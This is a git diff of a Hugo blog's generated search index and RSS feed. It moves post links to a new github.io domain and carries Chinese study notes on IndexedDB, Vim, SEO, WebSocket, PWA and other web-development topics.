datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,1); datadb.onerror = function(){ console.log(\u0026quot;数据库打开失败\u0026quot;) } datadb.onsuccess = function(){ console.log(\u0026quot;数据库打开成功\u0026quot;); } datadb.onupgradeneeded = function(event){ console.log(\u0026quot;数据库版本升级\u0026quot;); } onerror事件表示打开数据库失败\nonsuccess事件表示打开数据库成功\nonupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）\n新建数据对象（数据表）\ndatadb.onupgradeneeded = function(event) { console.log(\u0026quot;数据库升级\u0026quot;); var objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;}); } 表名为abc，主键为id，主键默认为索引\n判断是否存在该表\nif(!event.target.result.objectStoreNames.contains('abc')){ var objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;}); } 递增属性(可以用于作为主键)\nvar maindb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{autoIncrement: true}); 唯一属性\nobjdb.createIndex(\u0026quot;id\u0026quot;,\u0026quot;id\u0026quot;,{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引\n添加数据\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log(\u0026quot;数据库升级\u0026quot;); db = event.target.result; console.log(db) if(!event.target.result.objectStoreNames.contains('abc')){ objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;}); } } datadb.onsuccess = function (event) { console.log(\u0026quot;数据添加成功\u0026quot;); var tp = event.target.result; var transaction = tp.transaction(['abc'], 'readwrite'); var objadd = transaction.objectStore('abc'); objadd.add({id: 1,name: 'a', email: \u0026quot;a@xiaochenabc123.test.com\u0026quot;}); } 只要通过一个叫事务（transaction）来操作数据库，有两个参数，分别是要操作的数据对象，事务模式\n事务模式有三种：\nreadOnly：只读 readwrite：读写 versionchange：数据库版本变化\n不指定则默认为readOnly（只读）\n添加多条数据\nvar arrdata = [ {id: 1,name: 'a', email: \u0026quot;a@xiaochenabc123.test.com\u0026quot;}, {id: 2,name: 'b', email: \u0026quot;b@xiaochenabc123.test.com\u0026quot;}, {id: 3,name: 'c', email: \u0026quot;c@xiaochenabc123.test.com\u0026quot;} ]; datadb.onsuccess = function (event) { console.log(\u0026quot;数据库添加成功\u0026quot;); var tp = event.target.result; var transaction = tp.transaction(['abc'], 'readwrite'); var objadd = transaction.objectStore('abc'); for(var i in arrdata){ objadd.add(arrdata[i]); } } 读取数据\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,4); datadb.onsuccess = function (event) { console.log(\u0026quot;数据库读取成功\u0026quot;); var ab = event.target.result; var transactiona = ab.transaction(['abc']); var objectStorea = transactiona.objectStore('abc'); var datas = objectStorea.get(1); // objectStorea.get()方法的参数为主键的值 datas.onsuccess = function( event) { if (datas.result) { console.log('ID: ' + datas.result.id); console.log('Name: ' + datas.result.name); console.log('Email: ' + datas.result.email); }else { console.log('未读取到数据记录'); } }; datas.onerror = function(event) { console.log('数据库读取成功'); }; } 读取多条数据（遍历）\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,4); datadb.onsuccess = function(){ var db= event.target.result; displayData(); function displayData() { var transaction = db.transaction([\u0026quot;abc\u0026quot;], \u0026quot;readonly\u0026quot;); var objectStore = transaction.objectStore('abc'); objectStore.openCursor().onsuccess = function(event) { var datas = event.target.result; if(datas) { console.log(\u0026quot;id:\u0026quot;+datas.key); console.log(\u0026quot;name:\u0026quot;+datas.value.name); console.log(\u0026quot;email:\u0026quot;+datas.value.email) console.log(datas.value) datas.continue(); } } } 更新数据\n和add()类似\ndatadb.onsuccess = function (event) { console.log(\u0026quot;数据更新成功\u0026quot;); var tp = event.target.result; var transaction = tp.transaction(['abc'], 'readwrite'); var objadd = transaction.objectStore('abc'); objadd.put({id: 1,name: 'hallo', email: \u0026quot;abc@xiaochenabc123.test.com\u0026quot;}) } 删除数据\ndatadb.onsuccess = function (event) { console.log(\u0026quot;数据更新成功\u0026quot;); var tp = event.target.result; var transaction = tp.transaction(['abc'], 'readwrite'); var objadd = transaction.objectStore('abc'); objadd.delete(1); console.log('数据删除成功'); } ","permalink":"https://chenjunlinabc.github.io/posts/5/","summary":"IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制\n打开（新建）indexedDB：\nindexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,1); datadb.onerror = function(){ console.log(\u0026quot;数据库打开失败\u0026quot;) } datadb.onsuccess = function(){ console.log(\u0026quot;数据库打开成功\u0026quot;); } datadb.onupgradeneeded = function(event){ console.log(\u0026quot;数据库版本升级\u0026quot;); } onerror事件表示打开数据库失败\nonsuccess事件表示打开数据库成功\nonupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）\n新建数据对象（数据表）\ndatadb.onupgradeneeded = function(event) { console.log(\u0026quot;数据库升级\u0026quot;); var objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;}); } 表名为abc，主键为id，主键默认为索引\n判断是否存在该表\nif(!event.target.result.objectStoreNames.contains('abc')){ var objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;}); } 递增属性(可以用于作为主键)\nvar maindb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{autoIncrement: true}); 唯一属性\nobjdb.createIndex(\u0026quot;id\u0026quot;,\u0026quot;id\u0026quot;,{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引\n添加数据\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log(\u0026quot;数据库升级\u0026quot;); db = event.","title":"IndexedDB浏览器数据库学习笔记"},{"content":"Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能\nvim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）\n启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式\n普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）\n正常模式：Esc或Ctrl+[进入 插入模式：按i键进入（a和o都可以） 命令行模式：在正常模式下按:进入 可视化模式：按v或者V，ctrl-V（或者ctrl-Q）进入 替换模式：在正常模式下按r进入\nv 进入字符可视化模式 V 进入行可视化模式 Ctrl+v 进入块可视化模式\n可视模式是用来选取一段文本，光标移到段首，在普通模式下按 v 进入可视模式，然后把光标移到段末\n移动光标\nh：光标左移 j：光标下移 k：光标上移 l：光标右移\n^或者0：移动到行首（命令行模式） $：移动到行尾（命令行模式）,可搭配数字来组合，例如2$就是2表示要移动的行数\n移动光标也可以搭配数字来进行组合，例如：\n3+h：光标左移3个字符\nvim hallo.js\n在vim界面新建文件\n:open hallo.js\n在vim界面打开一个新窗口新建文件\n:split file\n切换到上一个文件\n:bp\n切换到下一个文件\n:bn\n查看vim文件列表\n:args\n打开远程文件\n:e \\hallo abc.txt\n/text：按n健查找下一个，按N健查找上一个\n?text：按n健查找上一个，按N健查找下一个\n:wq：保存并且退出，加!表示强制\n:q!：强制退出并且放弃所有更改\n:e!：放弃修改，并且重新打开文件\n","permalink":"https://chenjunlinabc.github.io/posts/3/","summary":"Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能\nvim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）\n启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式\n普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）\n正常模式：Esc或Ctrl+[进入 插入模式：按i键进入（a和o都可以） 命令行模式：在正常模式下按:进入 可视化模式：按v或者V，ctrl-V（或者ctrl-Q）进入 替换模式：在正常模式下按r进入\nv 进入字符可视化模式 V 进入行可视化模式 Ctrl+v 进入块可视化模式\n可视模式是用来选取一段文本，光标移到段首，在普通模式下按 v 进入可视模式，然后把光标移到段末\n移动光标\nh：光标左移 j：光标下移 k：光标上移 l：光标右移\n^或者0：移动到行首（命令行模式） $：移动到行尾（命令行模式）,可搭配数字来组合，例如2$就是2表示要移动的行数\n移动光标也可以搭配数字来进行组合，例如：\n3+h：光标左移3个字符\nvim hallo.js\n在vim界面新建文件\n:open hallo.js\n在vim界面打开一个新窗口新建文件\n:split file\n切换到上一个文件\n:bp\n切换到下一个文件\n:bn\n查看vim文件列表\n:args\n打开远程文件\n:e \\hallo abc.txt\n/text：按n健查找下一个，按N健查找上一个\n?text：按n健查找上一个，按N健查找下一个\n:wq：保存并且退出，加!表示强制\n:q!：强制退出并且放弃所有更改\n:e!：放弃修改，并且重新打开文件","title":"简单使用Vim编辑器"},{"content":"SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）\nrobots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫\nrobots.txt文件应该放在网站根目录下\n允许指定蜘蛛获取，*为通配符\nUser-agent: *\n允许指定目录可以被获取\nAllow: /\n指定Sitemap文件在哪\nSitemap: sitemap.xml\n不允许指定目录被获取（注意该方法会模糊匹配，例如/adminxxx，也是会被屏蔽）\nDisallow: /admin\ndescription（描述）\nkeywords（关键词）\nSitemap（通知搜索引擎，该网站有哪些可以供爬取的，常见的有xml，html）\nHTML标签优化\n语义化标签，例如header，nav，footer\n内部连接优化\n尽量不要使用JavaScript来设置链接，应该使用简单的a href\n友情链接\n友情链接就是在自己网站上放其他网站的链接，友情链接实质上并不能带来多少访问量，而且是用来增强搜索引擎的收录量爬取量\n注意：请不要在友情链接上加rel=\u0026ldquo;nofollow\u0026rdquo;，该属性会告诉搜索引擎爬虫不用抓取目标页，那么这个友情链接就是废了\n而且不要乱加友情链接，应该选择高质量，而且内容相似，更新频率高，而且还要有一定的访问量\n注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接\n尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容\n重要信息请勿使用js输出，爬虫不会抓取js的内容\n给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度\n","permalink":"https://chenjunlinabc.github.io/posts/2/","summary":"SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）\nrobots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫\nrobots.txt文件应该放在网站根目录下\n允许指定蜘蛛获取，*为通配符\nUser-agent: *\n允许指定目录可以被获取\nAllow: /\n指定Sitemap文件在哪\nSitemap: sitemap.xml\n不允许指定目录被获取（注意该方法会模糊匹配，例如/adminxxx，也是会被屏蔽）\nDisallow: /admin\ndescription（描述）\nkeywords（关键词）\nSitemap（通知搜索引擎，该网站有哪些可以供爬取的，常见的有xml，html）\nHTML标签优化\n语义化标签，例如header，nav，footer\n内部连接优化\n尽量不要使用JavaScript来设置链接，应该使用简单的a href\n友情链接\n友情链接就是在自己网站上放其他网站的链接，友情链接实质上并不能带来多少访问量，而且是用来增强搜索引擎的收录量爬取量\n注意：请不要在友情链接上加rel=\u0026ldquo;nofollow\u0026rdquo;，该属性会告诉搜索引擎爬虫不用抓取目标页，那么这个友情链接就是废了\n而且不要乱加友情链接，应该选择高质量，而且内容相似，更新频率高，而且还要有一定的访问量\n注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接\n尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容\n重要信息请勿使用js输出，爬虫不会抓取js的内容\n给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度","title":"简单了解SEO"},{"content":"","permalink":"https://chenjunlinabc.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://chenjunlinabc.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://chenjunlinabc.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://chenjunlinabc.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://chenjunlinabc.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/","summary":"","title":""},{"content":"","permalink":"https://chenjunlinabc.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://chenjunlinabc.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://chenjunlinabc.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://chenjunlinabc.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://chenjunlinabc.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://chenjunlinabc.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/","summary":"","title":""}]
\ No newline at end of file
diff --git a/index.xml b/index.xml
index 18167cbd..46ab4b1e 100644
--- a/index.xml
+++ b/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/</link>
+    <link>https://chenjunlinabc.github.io/</link>
     <description>Recent content on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 20 Nov 2022 11:49:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 20 Nov 2022 11:49:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>汇编基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/162/</link>
+      <link>https://chenjunlinabc.github.io/posts/162/</link>
       <pubDate>Sun, 20 Nov 2022 11:49:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/162/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/162/</guid>
       <description>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
 x86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的
 32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI
@@ -75,10 +75,10 @@ x64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大
     
     <item>
       <title>Deno js运行时环境学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/161/</link>
+      <link>https://chenjunlinabc.github.io/posts/161/</link>
       <pubDate>Fri, 11 Nov 2022 07:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/161/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/161/</guid>
       <description>Deno是基于V8引擎，使用Rust构建的JavaScript &amp;amp; TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
 Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成
 Deno有个特殊的功能，就是可以从网络上导入模块
@@ -97,7 +97,7 @@ https://github.com/denoland/deno/releases
 检查是否安装完成
 deno &amp;ndash;version
 第一个例子
-import DFetch from &amp;quot;https://deno.land/x/dfetch/mod.ts&amp;quot;
DFetch.get(&amp;quot;https://xiaochenabc123.test.com&amp;quot;).then((response) =&amp;gt; {
console.log(response)
})
运行
+import DFetch from &amp;quot;https://deno.land/x/dfetch/mod.ts&amp;quot; DFetch.get(&amp;quot;https://xiaochenabc123.test.com&amp;quot;).then((response) =&amp;gt; { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过&amp;ndash;allow-net默认运行，例如：deno run &amp;ndash;allow-net .\index.ts
 第三方库通过https://deno.land/x查找
@@ -117,10 +117,10 @@ deno内置工具
     
     <item>
       <title>计算机图形学学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/159/</link>
+      <link>https://chenjunlinabc.github.io/posts/159/</link>
       <pubDate>Tue, 08 Nov 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/159/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/159/</guid>
       <description>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
 通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等
 图形学历史
@@ -147,10 +147,10 @@ Whirlwind电子管计算机设计之初是美国空军训练飞行员，半自
     
     <item>
       <title>WebSocket学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/158/</link>
+      <link>https://chenjunlinabc.github.io/posts/158/</link>
       <pubDate>Sat, 05 Nov 2022 14:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/158/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/158/</guid>
       <description>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
 WebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）
 WebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源
@@ -164,37 +164,37 @@ WebSocket.onclose是指定连接关闭后执行的回调函数
 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数
 可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer
 客户端配置例如：
-const ws = new WebSocket(&#39;ws://localhost:8080&#39;)
ws.onopen = () =&amp;gt;{
console.log(&amp;quot;连接中&amp;quot;)
ws.send(&#39;hallo word&#39;) // 向服务端发送数据
}
ws.onerror = () =&amp;gt;{
console.log(&#39;连接失败&#39;)
}
ws.onmessage = (evt) =&amp;gt;{
console.log(&#39;连接成功，正在获取数据&#39;)
if(typeof evt.data === String){
console.log(&#39;hallo&#39;+evt.data)
}else if(evt.data instanceof ArrayBuffer){
let data = evt.data
console.log(&#39;数据：&#39;+data)
}
ws.close() // 手动关闭连接
}
ws.onclose = () =&amp;gt;{
console.log(&#39;连接已关闭&#39;)
}
还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
+const ws = new WebSocket(&#39;ws://localhost:8080&#39;) ws.onopen = () =&amp;gt;{ console.log(&amp;quot;连接中&amp;quot;) ws.send(&#39;hallo word&#39;) // 向服务端发送数据 } ws.onerror = () =&amp;gt;{ console.log(&#39;连接失败&#39;) } ws.onmessage = (evt) =&amp;gt;{ console.log(&#39;连接成功，正在获取数据&#39;) if(typeof evt.data === String){ console.log(&#39;hallo&#39;+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log(&#39;数据：&#39;+data) } ws.close() // 手动关闭连接 } ws.onclose = () =&amp;gt;{ console.log(&#39;连接已关闭&#39;) } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
 WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读</description>
     </item>
     
     <item>
       <title>简单使用Element Plus组件库</title>
-      <link>https://xiaochenabc123.github.io/posts/157/</link>
+      <link>https://chenjunlinabc.github.io/posts/157/</link>
       <pubDate>Thu, 03 Nov 2022 17:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/157/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/157/</guid>
       <description>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
 安装Element Plus
 npm install element-plus &amp;ndash;save
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from &#39;element-plus&#39;
import &#39;element-plus/dist/index.css&#39;
按需导入
+import ElementPlus from &#39;element-plus&#39; import &#39;element-plus/dist/index.css&#39; 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from &#39;unplugin-auto-import/vite&#39;
import Components from &#39;unplugin-vue-components/vite&#39;
...
plugins: [
AutoImport({
resolvers: [ElementPlusResolver()],
}),
Components({
resolvers: [ElementPlusResolver()],
}),
],
这个组件库还支持module导入的方式手动按需使用，例如：
-&amp;lt;template&amp;gt;
&amp;lt;el-button&amp;gt;I am ElButton&amp;lt;/el-button&amp;gt;
&amp;lt;/template&amp;gt;
&amp;lt;script&amp;gt;
import { ElButton } from &#39;element-plus&#39;
export default {
components: { ElButton },
}
&amp;lt;/script&amp;gt;
</description>
+import AutoImport from &#39;unplugin-auto-import/vite&#39; import Components from &#39;unplugin-vue-components/vite&#39; ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
+&amp;lt;template&amp;gt; &amp;lt;el-button&amp;gt;I am ElButton&amp;lt;/el-button&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import { ElButton } from &#39;element-plus&#39; export default { components: { ElButton }, } &amp;lt;/script&amp;gt; </description>
     </item>
     
     <item>
       <title>计算机网络学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/156/</link>
+      <link>https://chenjunlinabc.github.io/posts/156/</link>
       <pubDate>Tue, 01 Nov 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/156/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/156/</guid>
       <description>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
 计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等
 网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）
@@ -262,10 +262,10 @@ IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，
     
     <item>
       <title>计算机组成原理学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/155/</link>
+      <link>https://chenjunlinabc.github.io/posts/155/</link>
       <pubDate>Tue, 01 Nov 2022 02:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/155/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/155/</guid>
       <description>计算机发展历史
 1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机
 电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次
@@ -338,36 +338,36 @@ ASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例
     
     <item>
       <title>简单使用PWA技术</title>
-      <link>https://xiaochenabc123.github.io/posts/154/</link>
+      <link>https://chenjunlinabc.github.io/posts/154/</link>
       <pubDate>Fri, 28 Oct 2022 01:21:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/154/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/154/</guid>
       <description>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
 PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成
 Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信
 注册Service Worker
-navigator.serviceWorker.register(&#39;./sw.js&#39;,{scope: &#39;/&#39;}).then(
registration =&amp;gt; {
console.log(registration)
},error =&amp;gt; {
console.error(error)
}
)
window.onload = function() {
document.body.append(&#39;PWA!&#39;)
}
sw.js
-const cachename = &#39;v1&#39;
self.addEventListener(&#39;install&#39;, function (event) {
console.log(&#39;install&#39;,event)
// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
event.waitUntil(new Promise(resolve =&amp;gt;{
setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
}))
// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
event.waitUntil(caches.open(name).then(cache =&amp;gt;{
cache.addAll([
&#39;/&#39;,
&#39;./1.img&#39;
])
})) // 开启cache api缓存系统
})
self.</description>
+navigator.serviceWorker.register(&#39;./sw.js&#39;,{scope: &#39;/&#39;}).then( registration =&amp;gt; { console.log(registration) },error =&amp;gt; { console.error(error) } ) window.onload = function() { document.body.append(&#39;PWA!&#39;) } sw.js
+const cachename = &#39;v1&#39; self.addEventListener(&#39;install&#39;, function (event) { console.log(&#39;install&#39;,event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =&amp;gt;{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =&amp;gt;{ cache.addAll([ &#39;/&#39;, &#39;./1.img&#39; ]) })) // 开启cache api缓存系统 }) self.</description>
     </item>
     
     <item>
       <title>ECharts数据可视化图表库简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/153/</link>
+      <link>https://chenjunlinabc.github.io/posts/153/</link>
       <pubDate>Sat, 18 Jun 2022 00:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/153/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/153/</guid>
       <description>ECharts是基于JavaScript的数据可视化图表库
 安装
-npm install echarts --save
第一个实例
-import * as echarts from &#39;echarts&#39;
let app = echarts.init(document.getElementById(&#39;app&#39;), null, {
width: 800,
height: 500
})
let data = {
title: {
text: &#39;用户管理&#39;
},
tooltip:{},
legend: {
data: [&#39;用户&#39;]
},
xAxis: {
data: [
&#39;root&#39;,&#39;admin&#39;,&#39;user1&#39;,&#39;user2&#39;,&#39;user3&#39;
]
},
yAxis: {},
series: [
{
name: &#39;用户权限&#39;,
type: &#39;bar&#39;,
data: [
10,8,5,1,3
]
}
]
}
app.setOption(data)
注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</description>
+npm install echarts --save 第一个实例
+import * as echarts from &#39;echarts&#39; let app = echarts.init(document.getElementById(&#39;app&#39;), null, { width: 800, height: 500 }) let data = { title: { text: &#39;用户管理&#39; }, tooltip:{}, legend: { data: [&#39;用户&#39;] }, xAxis: { data: [ &#39;root&#39;,&#39;admin&#39;,&#39;user1&#39;,&#39;user2&#39;,&#39;user3&#39; ] }, yAxis: {}, series: [ { name: &#39;用户权限&#39;, type: &#39;bar&#39;, data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</description>
     </item>
     
     <item>
       <title>Nuxt.js学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/152/</link>
+      <link>https://chenjunlinabc.github.io/posts/152/</link>
